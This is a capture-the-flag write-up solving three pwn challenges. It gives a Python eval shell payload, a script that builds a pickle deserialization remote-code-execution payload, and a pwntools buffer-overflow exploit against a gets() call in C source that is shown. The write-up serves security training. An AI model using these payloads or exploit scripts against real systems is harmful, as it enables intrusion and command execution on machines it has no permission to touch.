Skip to main content

Pwn

Here is a subset of some of the Pwn challenges solved during the competition

No Step on Snek (75 pts)

I heard you guys like python pwnables

nc umbccd.io 4000

Author: trashcanna

Exploring it

Welcome to the aMAZEing Maze
Your goal is to get from one side of the board to the other.
Your character is represented by "OO" and the finish will be "FF"
W/w - Move up!
A/a - Move left!
S/s - Move down!
D/d - Move right!
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|OO | | | | |
+ +--+--+ +--+ + +--+--+--+ + +--+--+ + +
| | | | | | | | | | |
+--+ + +--+ + + + + + + +--+ + + + +
| | | | | | | | | | | | |
+ + + + + + +--+--+--+ +--+--+--+ + + +
| | | | | | |
+ +--+ +--+--+--+--+--+--+--+ +--+--+--+--+ +
| | | | | | | | |
+ + + + +--+--+ +--+--+--+ + +--+ + + +
| | | | | | | | | | |
+ + + + + + + + +--+ +--+--+ +--+--+--+
| | | | | | | | | | | |
+ + + +--+ + +--+ + +--+--+ +--+ + +--+
| | | | | | | |
+--+ + + +--+--+--+--+ +--+--+--+--+--+--+ +
| | | | | | | |
+ + +--+--+ + + +--+ + + + +--+ +--+ +
| | | | | | | | | | |
+ + + +--+--+--+ +--+--+ +--+--+--+ + + +
| | | | | | | | |
+ + +--+ + + + + +--+--+--+ +--+--+ +--+
| | | | | | | | | |
+ +--+--+--+--+--+ + + +--+ +--+ + +--+ +
| | | | | | | |
+--+--+--+--+--+ +--+--+ + +--+ + +--+--+ +
| | | | | | | | | |
+ +--+ + +--+ + + + + + +--+--+ + + +
| | | | | | | | | | | | | |
+ + +--+--+ +--+ + + + + + + + + + +
| | | | | | FF|
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+


Make your move:

Right off the bat, we see a fun game to play. However, it freezes upon input.

As usual, by fuzzing it and randomly spamming characters from my keyboard, we get an error.

Traceback (most recent call last):
File "/home/challuser/nosteponsnek.py", line 73, in <module>
__main__()
File "/home/challuser/nosteponsnek.py", line 69, in __main__
still_playing = make_move(maze)
File "/home/challuser/nosteponsnek.py", line 27, in make_move
move = input("Make your move: ")
File "<string>", line 1
1p ,sp-`k
^
SyntaxError: invalid syntax

Seems like the input is being evalued as Python code. Using the classic method, we can easily obtain a shell

Payload: __import__("os").system("sh")

Flag: DawgCTF{bUt_iT'[email protected]_1nput}

JellySpotters (100 pts)

The leader of the Jellyspotters has hired you to paint them a poster for their convention, using this painting program. Also, the flag is in ~/flag.txt.

nc umbccd.io 4200

Author: nb

Looking at the binary, we can fuzz a bit

Welcome to the Paint Program!
Paint us a new poster for the Jellyspotters 2021 convention. Make Kevin proud.
Type 'help' for help.
> help
Listing commands...
display Display the canvas
clearall Clear the canvas
set [row] [col] Set a particular pixel
clear [row] [col] Clear a particular pixel
export Export the canvas state
import [canvas] Import a previous canvas
exit Quit the program
> import `1`uqA``@#@#(!&$
Importing...
Traceback (most recent call last):
File "/home/challuser/jellyspotters.py", line 67, in <module>
imp = pickle.loads(base64.b64decode(split[1]))
_pickle.UnpicklingError: invalid load key, '\xd6'.

Oo, pickling error. Sounds like a Python insecure deserialization attack. We can craft a quick python script to create a base64 encoded pickle to exploit this.

pickle.py
import pickle
import sys
import base64

DEFAULT_COMMAND = "cat ~/flag.txt"
COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND

class PickleRce(object):
def __reduce__(self):
import os
return (os.system,(COMMAND,))

print(base64.b64encode(pickle.dumps(PickleRce())))

By putting the payload gASVKQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjA5jYXQgfi9mbGFnLnR4dJSFlFKULg== into the program, we get the flag!

Flag: DawgCTF{funn13st_s#$&_ive_3v3r_s33n}

Bofit (125 pts)

Taking a look at the problem statement.

bofit description
Because Bop It is copyrighted, apparently

nc umbccd.io 4100

Author: trashcanna

This time, we are provided with the source code and a binary.

bofit.c
#include <stdio.h>
#include <stdbool.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <unistd.h>

void win_game(){
char buf[100];
FILE* fptr = fopen("flag.txt", "r");
fgets(buf, 100, fptr);
printf("%s", buf);
}

int play_game(){
char c;
char input[20];
int choice;
bool correct = true;
int score = 0;
srand(time(0));
while(correct){
choice = rand() % 4;
switch(choice){
case 0:
printf("BOF it!\n");
c = getchar();
if(c != 'B') correct = false;
while((c = getchar()) != '\n' && c != EOF);
break;

case 1:
printf("Pull it!\n");
c = getchar();
if(c != 'P') correct = false;
while((c = getchar()) != '\n' && c != EOF);
break;

case 2:
printf("Twist it!\n");
c = getchar();
if(c != 'T') correct = false;
while((c = getchar()) != '\n' && c != EOF);
break;

case 3:
printf("Shout it!\n");
gets(input);
if(strlen(input) < 10) correct = false;
break;
}
score++;
}
return score;
}

void welcome(){
char input;
printf("Welcome to BOF it! The game featuring 4 hilarious commands to keep players on their toes\n");
printf("You'll have a second to respond to a series of commands\n");
printf("BOF it: Reply with a capital \'B\'\n");
printf("Pull it: Reply with a capital \'P\'\n");
printf("Twist it: Reply with a capital \'T\'\n");
printf("Shout it: Reply with a string of at least 10 characters\n");
printf("BOF it to start!\n");
input = getchar();
while(input != 'B'){
printf("BOF it to start!\n");
input = getchar();
}
while((input = getchar()) != '\n' && input != EOF);
}

int main(){
int score = 0;
welcome();
score = play_game();
printf("Congrats! Final score: %d\n", score);
return 0;
}

This is a classic buffer overflow. By overflowing when the binary prompt for a Shout via the gets() command will successfully redirect code to the win_game() function. This can be done by overflowing the buffer on the stack and then entering a wrong answer which will break out of the while loop and return to the address we want.

Using GDB, we can use pattern create followed by pattern search in gef to identify the offset to %rbp which can be calculated for the %rip.

bofit.py
from pwn import *

context.log_level = 'WARN'
if args.REMOTE:
p = remote('umbccd.io', 4100)
else:
p = process('./bofit')
# gdb.attach(p)

bin = ELF('./bofit')
win_addr = bin.symbols["win_game"]
# win_addr = 0x0000000000401256
payload = b'A' * 48
payload += b'B' * 8
payload += p64(win_addr)

# print(payload)
p.recvuntil(b'!')
p.sendlineafter(b'!\n', b'B')

while True:
a = p.recvlineS()
print(a)
if 'Twist' in a:
p.sendline(b'T')
elif 'Pull' in a:
p.sendline(b'P')
elif 'BOF' in a:
p.sendline(b'B')
else:
p.sendline(payload)
p.recvlineS()
p.sendline(b'Z')

p.interactive()

With that, we get the flag!

flag

Flag: DawgCTF{n3w_h1gh_sc0r3!!}